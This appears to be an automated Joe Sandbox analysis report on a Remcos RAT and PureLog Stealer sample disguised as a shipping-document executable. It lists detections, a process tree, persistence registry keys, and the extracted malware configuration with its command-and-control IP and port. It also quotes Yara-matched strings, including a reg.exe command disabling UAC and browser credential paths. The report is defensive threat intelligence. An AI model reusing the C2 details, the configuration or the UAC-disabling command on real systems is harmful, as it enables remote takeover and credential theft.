Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe

Overview

General Information

Sample name:Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe
Analysis ID:1564681
MD5:bc74e2d086d7bef42c3604c1dafc3edb
SHA1:f3ba507bee10af7e9fd64b1c70fecb975e216073
SHA256:b2a1e0e508be9c7546a8af45c72f2032f067ac036f03ec0c8309b368b195a65c
Tags:exeuser-threatcat_ch
Infos:

Detection

PureLog Stealer, Remcos
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Contains functionality to bypass UAC (CMSTPLUA)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected AntiVM3
Yara detected PureLog Stealer
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
.NET source code contains method to dynamically call methods (often used by packers)
.NET source code contains potential unpacker
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Creates autostart registry keys with suspicious names
Delayed program exit found
Drops executable to a common third party application directory
Injects a PE file into a foreign processes
Machine Learning detection for dropped file
Machine Learning detection for sample
Maps a DLL or memory area into another process
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Instant Messenger accounts or passwords
Tries to steal Mail credentials (via file / registry access)
Tries to steal Mail credentials (via file registry)
Yara detected WebBrowserPassView password recovery tool
Abnormal high CPU Usage
Allocates memory with a write watch (potentially for evading sandboxes)
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates processes with suspicious names
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found evaded block containing many API calls
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

Process Tree

  • System is w10x64
  • Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe (PID: 7348 cmdline: "C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe" MD5: BC74E2D086D7BEF42C3604C1DAFC3EDB)
    • Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe (PID: 7492 cmdline: "C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe" MD5: BC74E2D086D7BEF42C3604C1DAFC3EDB)
      • Adobe.exe (PID: 7556 cmdline: "C:\ProgramData\Adobe\Adobe.exe" MD5: BC74E2D086D7BEF42C3604C1DAFC3EDB)
        • Adobe.exe (PID: 7636 cmdline: "C:\ProgramData\Adobe\Adobe.exe" MD5: BC74E2D086D7BEF42C3604C1DAFC3EDB)
          • Adobe.exe (PID: 7836 cmdline: C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\sjwnfpnrxvemnctydvpmlfmrafenxb" MD5: BC74E2D086D7BEF42C3604C1DAFC3EDB)
          • Adobe.exe (PID: 7844 cmdline: C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\ddbggzyktewzxiicugbnokhajlwoymmlyl" MD5: BC74E2D086D7BEF42C3604C1DAFC3EDB)
          • Adobe.exe (PID: 7860 cmdline: C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\ddbggzyktewzxiicugbnokhajlwoymmlyl" MD5: BC74E2D086D7BEF42C3604C1DAFC3EDB)
          • Adobe.exe (PID: 7868 cmdline: C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\ddbggzyktewzxiicugbnokhajlwoymmlyl" MD5: BC74E2D086D7BEF42C3604C1DAFC3EDB)
          • Adobe.exe (PID: 7876 cmdline: C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\ddbggzyktewzxiicugbnokhajlwoymmlyl" MD5: BC74E2D086D7BEF42C3604C1DAFC3EDB)
          • Adobe.exe (PID: 7888 cmdline: C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\ffhrgs" MD5: BC74E2D086D7BEF42C3604C1DAFC3EDB)
  • Adobe.exe (PID: 7916 cmdline: "C:\ProgramData\Adobe\Adobe.exe" MD5: BC74E2D086D7BEF42C3604C1DAFC3EDB)
    • Adobe.exe (PID: 7960 cmdline: "C:\ProgramData\Adobe\Adobe.exe" MD5: BC74E2D086D7BEF42C3604C1DAFC3EDB)
  • Adobe.exe (PID: 8144 cmdline: "C:\ProgramData\Adobe\Adobe.exe" MD5: BC74E2D086D7BEF42C3604C1DAFC3EDB)
    • Adobe.exe (PID: 3228 cmdline: "C:\ProgramData\Adobe\Adobe.exe" MD5: BC74E2D086D7BEF42C3604C1DAFC3EDB)
    • Adobe.exe (PID: 5988 cmdline: "C:\ProgramData\Adobe\Adobe.exe" MD5: BC74E2D086D7BEF42C3604C1DAFC3EDB)
  • Adobe.exe (PID: 5592 cmdline: "C:\ProgramData\Adobe\Adobe.exe" MD5: BC74E2D086D7BEF42C3604C1DAFC3EDB)
    • Adobe.exe (PID: 5804 cmdline: "C:\ProgramData\Adobe\Adobe.exe" MD5: BC74E2D086D7BEF42C3604C1DAFC3EDB)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Remcos, RemcosRATRemcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.
  • APT33
  • The Gorgon Group
  • UAC-0050
https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

Malware Configuration

Threatname: Remcos

{"Host:Port:Password": ["104.250.180.178:7902:1"], "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Enable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "Adobe.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Adobe-OTOIRK", "Keylog flag": "0", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "1", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Adobe", "Keylog folder": "remcos"}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000000.00000002.2053174536.00000000058A0000.00000004.08000000.00040000.00000000.sdmpJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
    00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
      00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
        00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmpWindows_Trojan_Remcos_b296e965unknownunknown
        • 0x6c4a8:$a1: Remcos restarted by watchdog!
        • 0x6ca20:$a3: %02i:%02i:%02i:%03i
        00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmpREMCOS_RAT_variantsunknownunknown
        • 0x664fc:$str_a1: C:\Windows\System32\cmd.exe
        • 0x66478:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
        • 0x66478:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
        • 0x66978:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data
        • 0x671a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)
        • 0x6656c:$str_b2: Executing file:
        • 0x675ec:$str_b3: GetDirectListeningPort
        • 0x66f98:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject")
        • 0x67118:$str_b7: \update.vbs
        • 0x66594:$str_b9: Downloaded file:
        • 0x66580:$str_b10: Downloading file:
        • 0x66624:$str_b12: Failed to upload file:
        • 0x675b4:$str_b13: StartForward
        • 0x675d4:$str_b14: StopForward
        • 0x67070:$str_b15: fso.DeleteFile "
        • 0x67004:$str_b16: On Error Resume Next
        • 0x670a0:$str_b17: fso.DeleteFolder "
        • 0x66614:$str_b18: Uploaded file:
        • 0x665d4:$str_b19: Unable to delete:
        • 0x67038:$str_b20: while fso.FileExists("
        • 0x66ab1:$str_c0: [Firefox StoredLogins not found]
        Click to see the 33 entries

        Unpacked PEs

        SourceRuleDescriptionAuthorStrings
        0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.40524c8.1.raw.unpackJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
          0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.58a0000.4.raw.unpackJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
            0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.40524c8.1.unpackJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
              0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.58a0000.4.unpackJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
                0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.413ad00.2.unpackJoeSecurity_RemcosYara detected Remcos RATJoe Security
                  Click to see the 20 entries

                  Sigma Signatures

                  System Summary

                  barindex
                  Sigma detected: CurrentVersion Autorun Keys Modification
                  Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\ProgramData\Adobe\Adobe.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe, ProcessId: 7492, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Adobe-OTOIRK
                  Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification
                  Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\ProgramData\Adobe\Adobe.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe, ProcessId: 7492, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Adobe-OTOIRK

                  Suricata Signatures

                  TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                  2024-11-28T17:42:02.753462+010020365941Malware Command and Control Activity Detected192.168.2.549707104.250.180.1787902TCP
                  2024-11-28T17:42:06.097266+010020365941Malware Command and Control Activity Detected192.168.2.549709104.250.180.1787902TCP
                  TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                  2024-11-28T17:42:05.960094+010028033043Unknown Traffic192.168.2.549710178.237.33.5080TCP

                  Joe Sandbox Signatures

                  Click to jump to signature section

                  Show All Signature Results

                  AV Detection

                  barindex
                  Antivirus / Scanner detection for submitted sample
                  Source: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeAvira: detected
                  Antivirus detection for dropped file
                  Source: C:\ProgramData\Adobe\Adobe.exeAvira: detection malicious, Label: HEUR/AGEN.1307356
                  Found malware configuration
                  Source: 00000000.00000002.2048765608.0000000004B7E000.00000004.00000800.00020000.00000000.sdmpMalware Configuration Extractor: Remcos {"Host:Port:Password": ["104.250.180.178:7902:1"], "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Enable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "Adobe.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Adobe-OTOIRK", "Keylog flag": "0", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "1", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Adobe", "Keylog folder": "remcos"}
                  Multi AV Scanner detection for dropped file
                  Source: C:\ProgramData\Adobe\Adobe.exeReversingLabs: Detection: 52%
                  Multi AV Scanner detection for submitted file
                  Source: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeReversingLabs: Detection: 52%
                  Yara detected Remcos RAT
                  Source: Yara matchFile source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.413ad00.2.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 3.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.400000.0.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 3.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.413ad00.2.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000011.00000002.2257711507.0000000001357000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000013.00000002.2339042347.0000000001627000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000003.00000002.2041417968.0000000001507000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000005.00000002.4500045437.0000000001437000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.2048765608.0000000004B7E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.2048765608.0000000004039000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000D.00000002.2175641992.0000000000E57000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.2048765608.0000000004072000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: Process Memory Space: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe PID: 7348, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe PID: 7492, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 7636, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 7960, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 5988, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 5804, type: MEMORYSTR
                  AI detected suspicious sample
                  Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
                  Machine Learning detection for dropped file
                  Source: C:\ProgramData\Adobe\Adobe.exeJoe Sandbox ML: detected
                  Machine Learning detection for sample
                  Source: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeJoe Sandbox ML: detected
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_00433837 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,3_2_00433837
                  Source: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe, 00000000.00000002.2048765608.0000000004B7E000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: -----BEGIN PUBLIC KEY-----memstr_cb14c3ba-b

                  Exploits

                  barindex
                  Yara detected UAC Bypass using CMSTP
                  Source: Yara matchFile source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.413ad00.2.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 3.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.400000.0.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 3.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.413ad00.2.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.2048765608.0000000004B7E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.2048765608.0000000004039000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.2048765608.0000000004072000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: Process Memory Space: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe PID: 7348, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe PID: 7492, type: MEMORYSTR

                  Privilege Escalation

                  barindex
                  Contains functionality to bypass UAC (CMSTPLUA)
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_004074FD _wcslen,CoGetObject,3_2_004074FD
                  Source: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                  Source: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_00409253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,3_2_00409253
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0041C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,3_2_0041C291
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0040C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,3_2_0040C34D
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_00409665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,3_2_00409665
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0044E879 FindFirstFileExA,3_2_0044E879
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0040880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,3_2_0040880C
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0040783C FindFirstFileW,FindNextFileW,3_2_0040783C
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_00419AF5 FindFirstFileW,FindNextFileW,FindNextFileW,3_2_00419AF5
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0040BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,3_2_0040BB30
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0040BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,3_2_0040BD37
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_100010F1 lstrlenW,lstrlenW,lstrcatW,lstrlenW,lstrlenW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,5_2_100010F1
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_10006580 FindFirstFileExA,5_2_10006580
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_0040AE51 FindFirstFileW,FindNextFileW,6_2_0040AE51
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 10_2_00407EF8 FindFirstFileA,FindNextFileA,strlen,strlen,10_2_00407EF8
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 11_2_00407898 FindFirstFileA,FindNextFileA,strlen,strlen,11_2_00407898
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_00407C97 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,3_2_00407C97

                  Networking

                  barindex
                  Suricata IDS alerts for network traffic
                  Source: Network trafficSuricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.5:49707 -> 104.250.180.178:7902
                  Source: Network trafficSuricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.5:49709 -> 104.250.180.178:7902
                  C2 URLs / IPs found in malware configuration
                  Source: Malware configuration extractorIPs: 104.250.180.178
                  Source: global trafficTCP traffic: 192.168.2.5:49707 -> 104.250.180.178:7902
                  Source: global trafficHTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache
                  Source: Joe Sandbox ViewIP Address: 104.250.180.178 104.250.180.178
                  Source: Joe Sandbox ViewIP Address: 178.237.33.50 178.237.33.50
                  Source: Joe Sandbox ViewASN Name: M247GB M247GB
                  Source: Network trafficSuricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49710 -> 178.237.33.50:80
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: unknownTCP traffic detected without corresponding DNS query: 104.250.180.178
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0041B380 InternetOpenW,InternetOpenUrlW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,3_2_0041B380
                  Source: global trafficHTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache
                  Source: Adobe.exe, 0000000B.00000002.2140436616.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: Software\America Online\AOL Instant Messenger (TM)\CurrentVersion\Users%s\Loginprpl-msnprpl-yahooprpl-jabberprpl-novellprpl-oscarprpl-ggprpl-ircaccounts.xmlaimaim_1icqicq_1jabberjabber_1msnmsn_1yahoogggg_1http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com equals www.ebuddy.com (eBuggy)
                  Source: Adobe.exe, Adobe.exe, 0000000B.00000002.2140436616.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.ebuddy.com equals www.ebuddy.com (eBuggy)
